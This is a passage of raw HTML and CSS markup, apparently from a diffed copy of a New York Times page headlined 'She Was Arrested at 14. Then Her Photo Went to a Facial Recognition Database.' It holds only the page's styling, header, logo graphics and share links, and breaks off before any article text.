.e6idgb70{margin-top:1.875rem;color:#121212;font-weight:700;line-height:0.75rem;margin-bottom:0.625rem;}@media print{.css-llk6mt .e6idgb70{margin-left:0;margin-right:0;width:100%;max-width:100%;}}.css-llk6mt .e1h9rw200{margin-bottom:16px;margin-left:20px;margin-right:20px;width:calc(100% - 40px);max-width:600px;margin-top:0;}@media (min-width:600px){.css-llk6mt .e1h9rw200{margin-left:auto;margin-right:auto;}}@media (min-width:740px){.css-llk6mt .e1h9rw200{width:600px;}}@media (min-width:740px){.css-llk6mt .e1h9rw200{max-width:none;margin-left:calc((100% - 600px) / 2);margin-right:auto;position:relative;width:660px;}}.css-llk6mt .euiyums3 .e6idgb70{margin:0;}.css-llk6mt .e1wiw3jv0{color:#333;margin-left:20px;margin-right:20px;width:calc(100% - 40px);max-width:600px;}@media (min-width:600px){.css-llk6mt .e1wiw3jv0{margin-left:auto;margin-right:auto;}}@media (min-width:740px){.css-llk6mt .e1wiw3jv0{width:600px;}}.css-llk6mt .e16638kd0{width:auto;margin-bottom:0;margin-left:0;display:inline-block;margin-top:0;margin-bottom:0;width:auto;}.css-llk6mt .eatfx1z0{margin-right:15px;font-weight:700;font-size:14px;line-height:1;}.css-llk6mt .section-kicker .opinion-bar{font-size:25px;}.css-llk6mt .epjyd6m0{margin-left:20px;margin-right:20px;width:calc(100% - 40px);max-width:600px;}@media (min-width:600px){.css-llk6mt .epjyd6m0{margin-left:auto;margin-right:auto;}}@media (min-width:740px){.css-llk6mt .epjyd6m0{width:600px;}}.css-llk6mt .e1g7ppur0{margin-bottom:32px;margin-top:20px;}@media (min-width:740px){.css-llk6mt .e1g7ppur0{margin-top:25px;}}@media (min-width:1024px){.css-llk6mt .e1g7ppur0{margin-bottom:43px;}}.css-llk6mt .e1q76eii0{margin-left:20px;margin-right:20px;width:calc(100% - 40px);max-width:600px;max-width:600px;}@media (min-width:600px){.css-llk6mt .e1q76eii0{margin-left:auto;margin-right:auto;}}@media (min-width:740px){.css-llk6mt .e1q76eii0{width:600px;}}.css-llk6mt .euiyums1{margin-bottom:20px;color:#121212;}@media print{.css-llk6mt .euiyums1{margin-left:0;margin-right:0;width:100%;max-width:100%;}}.css-1s4ffep{color:#121212;font-family:nyt-cheltenham,georgia,'times new roman',times,serif;font-weight:700;font-style:italic;font-size:1.9375rem;line-height:2.25rem;text-align:left;}@media (min-width:740px){.css-1s4ffep{font-size:2.5rem;line-height:3rem;}}.css-pdw9fk{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-align-items:center;-webkit-box-align:center;-ms-flex-align:center;align-items:center;margin-bottom:15px;width:100%;-webkit-flex-wrap:wrap;-ms-flex-wrap:wrap;flex-wrap:wrap;}@media (min-width:1024px){.css-pdw9fk{-webkit-flex-wrap:nowrap;-ms-flex-wrap:nowrap;flex-wrap:nowrap;}}.css-pdw9fk > img,.css-pdw9fk a > img,.css-pdw9fk div > img{margin-right:10px;}.css-1txwxcy{min-width:100px;display:block;width:100%;margin-bottom:10px;margin-left:-3px;}@media (min-width:1024px){.css-1txwxcy{display:inline-block;width:auto;margin-bottom:0;}}.css-1soubk3{margin:0.5rem 0 1.5rem;padding-top:1rem;width:calc(100% - 40px);max-width:600px;margin-left:20px;margin-right:20px;}.css-1soubk3:before{content:'';display:block;width:100%;margin-bottom:0.5rem;border-bottom:1px solid #e2e2e2;}.css-1soubk3:after{content:'';display:block;width:100%;margin-top:0.5rem;border-bottom:1px solid #e2e2e2;}.css-1soubk3 .e16ij5yr6{border-top:none;}@media (min-width:600px){.css-1soubk3{margin-left:auto;margin-right:auto;}}@media (min-width:1024px){.css-1soubk3{width:600px;}}@media (min-width:1440px){.css-1soubk3{width:600px;max-width:600px;}}@media print{.css-1soubk3{margin-left:0;margin-right:0;width:100%;max-width:100%;}}</style>
+
+
+
+ <style>[data-timezone] { display: none }</style>
+
+ </head>
+ <body>
+ <div id="app"><div class="css-v89234" role="main"><div class=""><div><div class="css-ulr03x e1suatyy0"><header class="css-1bymuyk e1suatyy1"><section class="css-1waixk9 e1suatyy2"><div class="css-1f7ibof er09x8g0"><div class="css-6n7j50"><button aria-haspopup="true" aria-expanded="false" aria-label="Sections Navigation &amp; Search" class="er09x8g1 css-l2ztic" data-testid="nav-button"><svg class="css-1fe7a5q" viewBox="0 0 16 16"><rect x="1" y="3" fill="#333333" width="14" height="2"></rect><rect x="1" y="7" fill="#333333" width="14" height="2"></rect><rect x="1" y="11" fill="#333333" width="14" height="2"></rect></svg></button></div><button id="desktop-sections-button" aria-label="Sections Navigation" class="css-19lv58h er09x8g2"><span class="css-vz7hjd">Sections</span><svg class="css-1fe7a5q" viewBox="0 0 16 16"><rect x="1" y="3" fill="#333333" width="14" height="2"></rect><rect x="1" y="7" fill="#333333" width="14" height="2"></rect><rect x="1" y="11" fill="#333333" width="14" height="2"></rect></svg></button><div class="css-10488qs"><button class="css-mgtjo2 ewfai8r0" data-test-id="search-button"><span class="css-vz7hjd">SEARCH</span><svg class="css-1fe7a5q" viewBox="0 0 16 16"><path fill="#333" d="M11.3,9.2C11.7,8.4,12,7.5,12,6.5C12,3.5,9.5,1,6.5,1S1,3.5,1,6.5S3.5,12,6.5,12c1,0,1.9-0.3,2.7-0.7l3.3,3.3c0.3,0.3,0.7,0.4,1.1,0.4s0.8-0.1,1.1-0.4c0.6-0.6,0.6-1.5,0-2.1L11.3,9.2zM6.5,10.3c-2.1,0-3.8-1.7-3.8-3.8c0-2.1,1.7-3.8,3.8-3.8c2.1,0,3.8,1.7,3.8,3.8C10.3,8.6,8.6,10.3,6.5,10.3z"></path></svg></button></div><a class="css-1rn5q1r" href="#site-content">Skip to content</a><a class="css-1rn5q1r" href="#site-index">Skip to site index</a></div><div class="css-1wr3we4 eaxe0e00"><a href="https://www.nytimes.com/section/nyregion" class="css-nuvmzp">New York</a></div><div class="css-10698na e1huz5gh0"><a aria-label="New York Times Logo. Click to visit the homepage" class="css-nhjhh0 e1huz5gh1" href="/"><svg xmlns="http://www.w3.org/2000/svg" class="" viewBox="0 0 184 25" fill="#000"><path d="M13.8 2.9c0-2-1.9-2.5-3.4-2.5v.3c.9 0 1.6.3 1.6 1 0 .4-.3 1-1.2 1-.7 0-2.2-.4-3.3-.8C6.2 1.4 5 1 4 1 2 1 .6 2.5.6 4.2c0 1.5 1.1 2 1.5 2.2l.1-.2c-.2-.2-.5-.4-.5-1 0-.4.4-1.1 1.4-1.1.9 0 2.1.4 3.7.9 1.4.4 2.9.7 3.7.8v3.1L9 10.2v.1l1.5 1.3v4.3c-.8.5-1.7.6-2.5.6-1.5 0-2.8-.4-3.9-1.6l4.1-2V6l-5 2.2C3.6 6.9 4.7 6 5.8 5.4l-.1-.3c-3 .8-5.7 3.6-5.7 7 0 4 3.3 7 7 7 4 0 6.6-3.2 6.6-6.5h-.2c-.6 1.3-1.5 2.5-2.6 3.1v-4.1l1.6-1.3v-.1l-1.6-1.3V5.8c1.5 0 3-1 3-2.9zm-8.7 11l-1.2.6c-.7-.9-1.1-2.1-1.1-3.8 0-.7 0-1.5.2-2.1l2.1-.9v6.2zm10.6 2.3l-1.3 1 .2.2.6-.5 2.2 2 3-2-.1-.2-.8.5-1-1V9.4l.8-.6 1.7 1.4v6.1c0 3.8-.8 4.4-2.5 5v.3c2.8.1 5.4-.8 5.4-5.7V9.3l.9-.7-.2-.2-.8.6-2.5-2.1L18.5 9V.8h-.2l-3.5 2.4v.2c.4.2 1 .4 1 1.5l-.1 11.3zM34 15.1L31.5 17 29 15v-1.2l4.7-3.2v-.1l-2.4-3.6-5.2 2.8v6.6l-1 .8.2.2.9-.7 3.4 2.5 4.5-3.6-.1-.4zm-5-1.7V8.5l.2-.1 2.2 3.5-2.4 1.5zM53.1 2c0-.3-.1-.6-.2-.9h-.2c-.3.8-.7 1.2-1.7 1.2-.9 0-1.5-.5-1.9-.9l-2.9 3.3.2.2 1-.9c.6.5 1.1.9 2.5 1v8.3L44 3.2c-.5-.8-1.2-1.9-2.6-1.9-1.6 0-3 1.4-2.8 3.6h.3c.1-.6.4-1.3 1.1-1.3.5 0 1 .5 1.3 1v3.3c-1.8 0-3 .8-3 2.3 0 .8.4 2 1.6 2.3v-.2c-.2-.2-.3-.4-.3-.7 0-.5.4-.9 1.1-.9h.5v4.2c-2.1 0-3.8 1.2-3.8 3.2 0 1.9 1.6 2.8 3.4 2.7v-.2c-1.1-.1-1.6-.6-1.6-1.3 0-.9.6-1.3 1.4-1.3.8 0 1.5.5 2 1.1l2.9-3.2-.2-.2-.7.8c-1.1-1-1.7-1.3-3-1.5V5l8 14h.6V5c1.5-.1 2.9-1.3 2.9-3zm7.3 13.1L57.9 17l-2.5-2v-1.2l4.7-3.2v-.1l-2.4-3.6-5.2 2.8v6.6l-1 .8.2.2.9-.7 3.4 2.5 4.5-3.6-.1-.4zm-5-1.7V8.5l.2-.1 2.2 3.5-2.4 1.5zM76.7 8l-.7.5-1.9-1.6-2.2 2 .9.9v7.5l-2.4-1.5V9.6l.8-.5-2.3-2.2-2.2 2 .9.9V17l-.3.2-2.1-1.5v-6c0-1.4-.7-1.8-1.5-2.3-.7-.5-1.1-.8-1.1-1.5 0-.6.6-.9.9-1.1v-.2c-.8 0-2.9.8-2.9 2.7 0 1 .5 1.4 1 1.9s1 .9 1 1.8v5.8l-1.1.8.2.2 1-.8 2.3 2 2.5-1.7 2.8 1.7 5.3-3.1V9.2l1.3-1-.2-.2zm18.6-5.5l-1 .9-2.2-2-3.3 2.4V1.6h-.3l.1 16.2c-.3 0-1.2-.2-1.9-.4l-.2-13.5c0-1-.7-2.4-2.5-2.4s-3 1.4-3 2.8h.3c.1-.6.4-1.1 1-1.1s1.1.4 1.1 1.7v3.9c-1.8.1-2.9 1.1-2.9 2.4 0 .8.4 2 1.6 2V13c-.4-.2-.5-.5-.5-.7 0-.6.5-.8 1.3-.8h.4v6.2c-1.5.5-2.1 1.6-2.1 2.8 0 1.7 1.3 2.9 3.3 2.9 1.4 0 2.6-.2 3.8-.5 1-.2 2.3-.5 2.9-.5.8 0 1.1.4 1.1.9 0 .7-.3 1-.7 1.1v.2c1.6-.3 2.6-1.3 2.6-2.8s-1.5-2.4-3.1-2.4c-.8 0-2.5.3-3.7.5-1.4.3-2.8.5-3.2.5-.7 0-1.5-.3-1.5-1.3 0-.8.7-1.5 2.4-1.5.9 0 2 .1 3.1.4 1.2.3 2.3.6 3.3.6 1.5 0 2.8-.5 2.8-2.6V3.7l1.2-1-.2-.2zm-4.1 6.1c-.3.3-.7.6-1.2.6s-1-.3-1.2-.6V4.2l1-.7 1.4 1.3v3.8zm0 3c-.2-.2-.7-.5-1.2-.5s-1 .3-1.2.5V9c.2.2.7.5 1.2.5s1-.3 1.2-.5v2.6zm0 4.7c0 .8-.5 1.6-1.6 1.6h-.8V12c.2-.2.7-.5 1.2-.5s.9.3 1.2.5v4.3zm13.7-7.1l-3.2-2.3-4.9 2.8v6.5l-1 .8.1.2.8-.6 3.2 2.4 5-3V9.2zm-5.4 6.3V8.3l2.5 1.8v7.1l-2.5-1.7zm14.9-8.4h-.2c-.3.2-.6.4-.9.4-.4 0-.9-.2-1.1-.5h-.2l-1.7 1.9-1.7-1.9-3 2 .1.2.8-.5 1 1.1v6.3l-1.3 1 .2.2.6-.5 2.4 2 3.1-2.1-.1-.2-.9.5-1.2-1V9c.5.5 1.1 1 1.8 1 1.4.1 2.2-1.3 2.3-2.9zm12 9.6L123 19l-4.6-7 3.3-5.1h.2c.4.4 1 .8 1.7.8s1.2-.4 1.5-.8h.2c-.1 2-1.5 3.2-2.5 3.2s-1.5-.5-2.1-.8l-.3.5 5 7.4 1-.6v.1zm-11-.5l-1.3 1 .2.2.6-.5 2.2 2 3-2-.2-.2-.8.5-1-1V.8h-.1l-3.6 2.4v.2c.4.2 1 .3 1 1.5v11.3zM143 2.9c0-2-1.9-2.5-3.4-2.5v.3c.9 0 1.6.3 1.6 1 0 .4-.3 1-1.2 1-.7 0-2.2-.4-3.3-.8-1.3-.4-2.5-.8-3.5-.8-2 0-3.4 1.5-3.4 3.2 0 1.5 1.1 2 1.5 2.2l.1-.2c-.3-.2-.6-.4-.6-1 0-.4.4-1.1 1.4-1.1.9 0 2.1.4 3.7.9 1.4.4 2.9.7 3.7.8V9l-1.5 1.3v.1l1.5 1.3V16c-.8.5-1.7.6-2.5.6-1.5 0-2.8-.4-3.9-1.6l4.1-2V6l-5 2.2c.5-1.3 1.6-2.2 2.6-2.9l-.1-.2c-3 .8-5.7 3.5-5.7 6.9 0 4 3.3 7 7 7 4 0 6.6-3.2 6.6-6.5h-.2c-.6 1.3-1.5 2.5-2.6 3.1v-4.1l1.6-1.3v-.1L140 8.8v-3c1.5 0 3-1 3-2.9zm-8.7 11l-1.2.6c-.7-.9-1.1-2.1-1.1-3.8 0-.7.1-1.5.3-2.1l2.1-.9-.1 6.2zm12.2-12h-.1l-2 1.7v.1l1.7 1.9h.2l2-1.7v-.1l-1.8-1.9zm3 14.8l-.8.5-1-1V9.3l1-.7-.2-.2-.7.6-1.8-2.1-2.9 2 .2.3.7-.5.9 1.1v6.5l-1.3 1 .1.2.7-.5 2.2 2 3-2-.1-.3zm16.7-.1l-.7.5-1.1-1V9.3l1-.8-.2-.2-.8.7-2.3-2.1-3 2.1-2.3-2.1L154 9l-1.8-2.1-2.9 2 .1.3.7-.5 1 1.1v6.5l-.8.8 2.3 1.9 2.2-2-.9-.9V9.3l.9-.6 1.5 1.4v6l-.8.8 2.3 1.9 2.2-2-.9-.9V9.3l.8-.5 1.6 1.4v6l-.7.7 2.3 2.1 3.1-2.1v-.3zm8.7-1.5l-2.5 1.9-2.5-2v-1.2l4.7-3.2v-.1l-2.4-3.6-5.2 2.8v6.8l3.5 2.5 4.5-3.6-.1-.3zm-5-1.7V8.5l.2-.1 2.2 3.5-2.4 1.5zm14.1-.9l-1.9-1.5c1.3-1.1 1.8-2.6 1.8-3.6v-.6h-.2c-.2.5-.6 1-1.4 1-.8 0-1.3-.4-1.8-1L176 9.3v3.6l1.7 1.3c-1.7 1.5-2 2.5-2 3.3 0 1 .5 1.7 1.3 2l.1-.2c-.2-.2-.4-.3-.4-.8 0-.3.4-.8 1.2-.8 1 0 1.6.7 1.9 1l4.3-2.6v-3.6h-.1zm-1.1-3c-.7 1.2-2.2 2.4-3.1 3l-1.1-.9V8.1c.4 1 1.5 1.8 2.6 1.8.7 0 1.1-.1 1.6-.4zm-1.7 8c-.5-1.1-1.7-1.9-2.9-1.9-.3 0-1.1 0-1.9.5.5-.8 1.8-2.2 3.5-3.2l1.2 1 .1 3.6z"></path></svg></a></div><div class="css-y3sf94 ez4a0qj1"><a href="https://myaccount.nytimes.com/auth/login?response_type=cookie&amp;client_id=vi" class="css-1kj7lfb"><button class="css-1bnxwmn ez4a0qj0" data-testid="login-button">Log In</button></a><div class="css-6n7j50"><button aria-haspopup="true" aria-expanded="false" aria-label="User Settings" class="ez4a0qj4 css-1i8g3m4" data-testid="user-settings-button"><svg class="css-10m9xeu" viewBox="0 0 16 16" fill="#333"><path d="M8,10c-2.5,0-7,1.1-7,3.5V16h14v-2.5C15,11.1,10.5,10,8,10z"></path><circle cx="8" cy="4" r="4"></circle></svg></button></div></div></section><section class="hasLinks css-3qijnq e1csuq9d3"><div class="css-uqyvli e1csuq9d0"></div><div class="css-1uqjmks e1csuq9d1"></div><div class="css-9e9ivx"><a href="https://myaccount.nytimes.com/auth/login?response_type=cookie&amp;client_id=vi" class="css-1gz70xg">Log In</a></div><div class="css-1bvtpon e1csuq9d2"><a href="https://www.nytimes.com/section/todayspaper" class="css-2bwtzy">Today’s Paper</a></div></section></header></div></div><div aria-hidden="false"><main id="site-content"><div><div class="css-4g4cvq" style="opacity:0.000000001;z-index:-1;visibility:hidden"><div class="css-m6xlts"><div class="css-1ahhg7f"><span class="css-17xtcya"><a href="/section/nyregion">New York</a></span><span class="css-x15j1o">|</span><span class="css-fwqvlz">She Was Arrested at 14. Then Her Photo Went to a Facial Recognition Database.</span></div><div class="css-k008qs"><div class="css-1iwv8en"><a href="/"><svg class="css-1ri25x2" viewBox="0 0 16 22"><path d="M15.863 13.08c-.687 1.818-1.923 3.147-3.64 3.916v-3.917l2.129-1.958-2.129-1.889V6.505c1.923-.14 3.228-1.609 3.228-3.358C15.45.84 13.32 0 12.086 0c-.275 0-.55 0-.962.14v.14h.481c.824 0 1.51.42 1.51 1.189 0 .63-.48 1.189-1.304 1.189-2.129 0-4.6-1.749-7.279-1.749C2.13.91.481 2.728.481 4.546c0 1.819 1.03 2.448 2.128 2.798v-.14c-.343-.21-.618-.63-.618-1.189 0-.84.756-1.469 1.648-1.469 2.267 0 5.906 1.959 8.172 1.959h.206v2.727l-2.129 1.889 2.13 1.958v3.987c-.894.35-1.786.49-2.748.49-3.502 0-5.768-2.169-5.768-5.806 0-.839.137-1.678.344-2.518l1.785-.769v7.973l3.57-1.608V6.575L3.984 8.953c.55-1.61 1.648-2.728 2.953-3.358v-.07C3.433 6.295 0 9.023 0 13.08c0 4.686 3.914 7.974 8.446 7.974 4.807 0 7.485-3.288 7.554-7.974h-.137z" fill="#000"></path></svg></a><span class="css-1hfdzay"><div><a href="/" aria-label="New York Times Logo. Click to visit the homepage"><svg xmlns="http://www.w3.org/2000/svg" class="css-12fr9lp" viewBox="0 0 184 25" fill="#000"><path d="M13.8 2.9c0-2-1.9-2.5-3.4-2.5v.3c.9 0 1.6.3 1.6 1 0 .4-.3 1-1.2 1-.7 0-2.2-.4-3.3-.8C6.2 1.4 5 1 4 1 2 1 .6 2.5.6 4.2c0 1.5 1.1 2 1.5 2.2l.1-.2c-.2-.2-.5-.4-.5-1 0-.4.4-1.1 1.4-1.1.9 0 2.1.4 3.7.9 1.4.4 2.9.7 3.7.8v3.1L9 10.2v.1l1.5 1.3v4.3c-.8.5-1.7.6-2.5.6-1.5 0-2.8-.4-3.9-1.6l4.1-2V6l-5 2.2C3.6 6.9 4.7 6 5.8 5.4l-.1-.3c-3 .8-5.7 3.6-5.7 7 0 4 3.3 7 7 7 4 0 6.6-3.2 6.6-6.5h-.2c-.6 1.3-1.5 2.5-2.6 3.1v-4.1l1.6-1.3v-.1l-1.6-1.3V5.8c1.5 0 3-1 3-2.9zm-8.7 11l-1.2.6c-.7-.9-1.1-2.1-1.1-3.8 0-.7 0-1.5.2-2.1l2.1-.9v6.2zm10.6 2.3l-1.3 1 .2.2.6-.5 2.2 2 3-2-.1-.2-.8.5-1-1V9.4l.8-.6 1.7 1.4v6.1c0 3.8-.8 4.4-2.5 5v.3c2.8.1 5.4-.8 5.4-5.7V9.3l.9-.7-.2-.2-.8.6-2.5-2.1L18.5 9V.8h-.2l-3.5 2.4v.2c.4.2 1 .4 1 1.5l-.1 11.3zM34 15.1L31.5 17 29 15v-1.2l4.7-3.2v-.1l-2.4-3.6-5.2 2.8v6.6l-1 .8.2.2.9-.7 3.4 2.5 4.5-3.6-.1-.4zm-5-1.7V8.5l.2-.1 2.2 3.5-2.4 1.5zM53.1 2c0-.3-.1-.6-.2-.9h-.2c-.3.8-.7 1.2-1.7 1.2-.9 0-1.5-.5-1.9-.9l-2.9 3.3.2.2 1-.9c.6.5 1.1.9 2.5 1v8.3L44 3.2c-.5-.8-1.2-1.9-2.6-1.9-1.6 0-3 1.4-2.8 3.6h.3c.1-.6.4-1.3 1.1-1.3.5 0 1 .5 1.3 1v3.3c-1.8 0-3 .8-3 2.3 0 .8.4 2 1.6 2.3v-.2c-.2-.2-.3-.4-.3-.7 0-.5.4-.9 1.1-.9h.5v4.2c-2.1 0-3.8 1.2-3.8 3.2 0 1.9 1.6 2.8 3.4 2.7v-.2c-1.1-.1-1.6-.6-1.6-1.3 0-.9.6-1.3 1.4-1.3.8 0 1.5.5 2 1.1l2.9-3.2-.2-.2-.7.8c-1.1-1-1.7-1.3-3-1.5V5l8 14h.6V5c1.5-.1 2.9-1.3 2.9-3zm7.3 13.1L57.9 17l-2.5-2v-1.2l4.7-3.2v-.1l-2.4-3.6-5.2 2.8v6.6l-1 .8.2.2.9-.7 3.4 2.5 4.5-3.6-.1-.4zm-5-1.7V8.5l.2-.1 2.2 3.5-2.4 1.5zM76.7 8l-.7.5-1.9-1.6-2.2 2 .9.9v7.5l-2.4-1.5V9.6l.8-.5-2.3-2.2-2.2 2 .9.9V17l-.3.2-2.1-1.5v-6c0-1.4-.7-1.8-1.5-2.3-.7-.5-1.1-.8-1.1-1.5 0-.6.6-.9.9-1.1v-.2c-.8 0-2.9.8-2.9 2.7 0 1 .5 1.4 1 1.9s1 .9 1 1.8v5.8l-1.1.8.2.2 1-.8 2.3 2 2.5-1.7 2.8 1.7 5.3-3.1V9.2l1.3-1-.2-.2zm18.6-5.5l-1 .9-2.2-2-3.3 2.4V1.6h-.3l.1 16.2c-.3 0-1.2-.2-1.9-.4l-.2-13.5c0-1-.7-2.4-2.5-2.4s-3 1.4-3 2.8h.3c.1-.6.4-1.1 1-1.1s1.1.4 1.1 1.7v3.9c-1.8.1-2.9 1.1-2.9 2.4 0 .8.4 2 1.6 2V13c-.4-.2-.5-.5-.5-.7 0-.6.5-.8 1.3-.8h.4v6.2c-1.5.5-2.1 1.6-2.1 2.8 0 1.7 1.3 2.9 3.3 2.9 1.4 0 2.6-.2 3.8-.5 1-.2 2.3-.5 2.9-.5.8 0 1.1.4 1.1.9 0 .7-.3 1-.7 1.1v.2c1.6-.3 2.6-1.3 2.6-2.8s-1.5-2.4-3.1-2.4c-.8 0-2.5.3-3.7.5-1.4.3-2.8.5-3.2.5-.7 0-1.5-.3-1.5-1.3 0-.8.7-1.5 2.4-1.5.9 0 2 .1 3.1.4 1.2.3 2.3.6 3.3.6 1.5 0 2.8-.5 2.8-2.6V3.7l1.2-1-.2-.2zm-4.1 6.1c-.3.3-.7.6-1.2.6s-1-.3-1.2-.6V4.2l1-.7 1.4 1.3v3.8zm0 3c-.2-.2-.7-.5-1.2-.5s-1 .3-1.2.5V9c.2.2.7.5 1.2.5s1-.3 1.2-.5v2.6zm0 4.7c0 .8-.5 1.6-1.6 1.6h-.8V12c.2-.2.7-.5 1.2-.5s.9.3 1.2.5v4.3zm13.7-7.1l-3.2-2.3-4.9 2.8v6.5l-1 .8.1.2.8-.6 3.2 2.4 5-3V9.2zm-5.4 6.3V8.3l2.5 1.8v7.1l-2.5-1.7zm14.9-8.4h-.2c-.3.2-.6.4-.9.4-.4 0-.9-.2-1.1-.5h-.2l-1.7 1.9-1.7-1.9-3 2 .1.2.8-.5 1 1.1v6.3l-1.3 1 .2.2.6-.5 2.4 2 3.1-2.1-.1-.2-.9.5-1.2-1V9c.5.5 1.1 1 1.8 1 1.4.1 2.2-1.3 2.3-2.9zm12 9.6L123 19l-4.6-7 3.3-5.1h.2c.4.4 1 .8 1.7.8s1.2-.4 1.5-.8h.2c-.1 2-1.5 3.2-2.5 3.2s-1.5-.5-2.1-.8l-.3.5 5 7.4 1-.6v.1zm-11-.5l-1.3 1 .2.2.6-.5 2.2 2 3-2-.2-.2-.8.5-1-1V.8h-.1l-3.6 2.4v.2c.4.2 1 .3 1 1.5v11.3zM143 2.9c0-2-1.9-2.5-3.4-2.5v.3c.9 0 1.6.3 1.6 1 0 .4-.3 1-1.2 1-.7 0-2.2-.4-3.3-.8-1.3-.4-2.5-.8-3.5-.8-2 0-3.4 1.5-3.4 3.2 0 1.5 1.1 2 1.5 2.2l.1-.2c-.3-.2-.6-.4-.6-1 0-.4.4-1.1 1.4-1.1.9 0 2.1.4 3.7.9 1.4.4 2.9.7 3.7.8V9l-1.5 1.3v.1l1.5 1.3V16c-.8.5-1.7.6-2.5.6-1.5 0-2.8-.4-3.9-1.6l4.1-2V6l-5 2.2c.5-1.3 1.6-2.2 2.6-2.9l-.1-.2c-3 .8-5.7 3.5-5.7 6.9 0 4 3.3 7 7 7 4 0 6.6-3.2 6.6-6.5h-.2c-.6 1.3-1.5 2.5-2.6 3.1v-4.1l1.6-1.3v-.1L140 8.8v-3c1.5 0 3-1 3-2.9zm-8.7 11l-1.2.6c-.7-.9-1.1-2.1-1.1-3.8 0-.7.1-1.5.3-2.1l2.1-.9-.1 6.2zm12.2-12h-.1l-2 1.7v.1l1.7 1.9h.2l2-1.7v-.1l-1.8-1.9zm3 14.8l-.8.5-1-1V9.3l1-.7-.2-.2-.7.6-1.8-2.1-2.9 2 .2.3.7-.5.9 1.1v6.5l-1.3 1 .1.2.7-.5 2.2 2 3-2-.1-.3zm16.7-.1l-.7.5-1.1-1V9.3l1-.8-.2-.2-.8.7-2.3-2.1-3 2.1-2.3-2.1L154 9l-1.8-2.1-2.9 2 .1.3.7-.5 1 1.1v6.5l-.8.8 2.3 1.9 2.2-2-.9-.9V9.3l.9-.6 1.5 1.4v6l-.8.8 2.3 1.9 2.2-2-.9-.9V9.3l.8-.5 1.6 1.4v6l-.7.7 2.3 2.1 3.1-2.1v-.3zm8.7-1.5l-2.5 1.9-2.5-2v-1.2l4.7-3.2v-.1l-2.4-3.6-5.2 2.8v6.8l3.5 2.5 4.5-3.6-.1-.3zm-5-1.7V8.5l.2-.1 2.2 3.5-2.4 1.5zm14.1-.9l-1.9-1.5c1.3-1.1 1.8-2.6 1.8-3.6v-.6h-.2c-.2.5-.6 1-1.4 1-.8 0-1.3-.4-1.8-1L176 9.3v3.6l1.7 1.3c-1.7 1.5-2 2.5-2 3.3 0 1 .5 1.7 1.3 2l.1-.2c-.2-.2-.4-.3-.4-.8 0-.3.4-.8 1.2-.8 1 0 1.6.7 1.9 1l4.3-2.6v-3.6h-.1zm-1.1-3c-.7 1.2-2.2 2.4-3.1 3l-1.1-.9V8.1c.4 1 1.5 1.8 2.6 1.8.7 0 1.1-.1 1.6-.4zm-1.7 8c-.5-1.1-1.7-1.9-2.9-1.9-.3 0-1.1 0-1.9.5.5-.8 1.8-2.2 3.5-3.2l1.2 1 .1 3.6z"></path></svg></a></div></span></div><div class="css-1705lsu"><div class=""><div role="toolbar" aria-label="Social Media Share buttons, Save button, and Comments Panel with current comment count" class="css-4skfbu" data-testid="share-tools"><ul class="css-y8aj3r"><li class="css-1fcn4th"><a href="https://www.facebook.com/dialog/feed?app_id=9869919170&amp;link=https%3A%2F%2Fwww.nytimes.com%2F2019%2F08%2F01%2Fnyregion%2Fnypd-facial-recognition-children-teenagers.html&amp;smid=fb-share&amp;name=She%20Was%20Arrested%20at%2014.%20Then%20Her%20Photo%20Went%20to%20a%20Facial%20Recognition%20Database.&amp;redirect_uri=https%3A%2F%2Fwww.facebook.com%2F" target="_blank" rel="noopener noreferrer" aria-label="Share on Facebook"><svg class="css-13zu7ev" viewBox="0 0 7 15" width="7" height="15"><path fill-rule="evenodd" clip-rule="evenodd" d="M4.775 14.163V7.08h1.923l.255-2.441H4.775l.004-1.222c0-.636.06-.977.958-.977H6.94V0H5.016c-2.31 0-3.123 1.184-3.123 3.175V4.64H.453v2.44h1.44v7.083h2.882z" fill="#000"></path></svg></a></li><li class="css-1fcn4th"><a href="https://twitter.com/intent/tweet?url=https%3A%2F%2Fnyti.ms%2F2GEzuZ8&amp;text=She%20Was%20Arrested%20at%2014.%20Then%20Her%20Photo%20Went%20to%20a%20Facial%20Recognition%20Database." target="_blank" rel="noopener noreferrer" aria-label="Share on Twitter"><svg viewBox="0 0 13 10" class="css-13zu7ev" width="13" height="10"><path fill-rule="evenodd" clip-rule="evenodd" d="M5.987 2.772l.025.425-.429-.052c-1.562-.2-2.927-.876-4.086-2.011L.93.571.784.987c-.309.927-.111 1.906.533 2.565.343.364.266.416-.327.2-.206-.07-.386-.122-.403-.096-.06.06.146.85.309 1.161.223.434.678.858 1.176 1.11l.42.199-.497.009c-.481 0-.498.008-.447.19.172.564.85 1.162 1.606 1.422l.532.182-.464.277a4.833 4.833 0 0 1-2.3.641c-.387.009-.704.044-.704.07 0 .086 1.047.572 1.657.762 1.828.564 4 .32 5.631-.641 1.159-.685 2.318-2.045 2.859-3.363.292-.702.583-1.984.583-2.6 0-.398.026-.45.507-.927.283-.277.55-.58.6-.667.087-.165.078-.165-.36-.018-.73.26-.832.226-.472-.164.266-.278.584-.78.584-.928 0-.026-.129.018-.275.096a4.79 4.79 0 0 1-.755.294l-.464.148-.42-.286C9.66.467 9.335.293 9.163.24 8.725.12 8.055.137 7.66.276c-1.074.39-1.752 1.395-1.674 2.496z" fill="#000"></path></svg></a></li><li class="css-1fcn4th"><a href="mailto:?subject=NYTimes.com%3A%20She%20Was%20Arrested%20at%2014.%20Then%20Her%20Photo%20Went%20to%20a%20Facial%20Recognition%20Database.&amp;body=From%20The%20New%20York%20Times%3A%0A%0AShe%20Was%20Arrested%20at%2014.%20Then%20Her%20Photo%20Went%20to%20a%20Facial%20Recognition%20Database.%0A%0AWith%20little%20oversight%2C%20the%20N.Y.P.D.%20has%20been%20using%20powerful%20surveillance%20technology%20on%20photos%20of%20children%20and%20teenagers.%0A%0Ahttps%3A%2F%2Fwww.nytimes.com%2F2019%2F08%2F01%2Fnyregion%2Fnypd-facial-recognition-children-teenagers.html" target="_blank" rel="noopener noreferrer" aria-label="Email"><svg viewBox="0 0 15 9" class="css-13zu7ev" width="15" height="9"><path fill-rule="evenodd" clip-rule="evenodd" d="M.906 8.418V0L5.64 4.76.906 8.419zm13 0L9.174 4.761 13.906 0v8.418zM7.407 6.539l-1.13-1.137L.907 9h13l-5.37-3.598-1.13 1.137zM1.297 0h12.22l-6.11 5.095L1.297 0z" fill="#000"></path></svg></a></li><li class="css-1fcn4th"><div class="css-6n7j50"><button aria-haspopup="true" aria-expanded="false" aria-label="More sharing options" class="css-16ogagc" data-testid=""><svg class="css-f7l8cz" viewBox="0 0 16 13" width="16" height="13"><path fill-rule="evenodd" 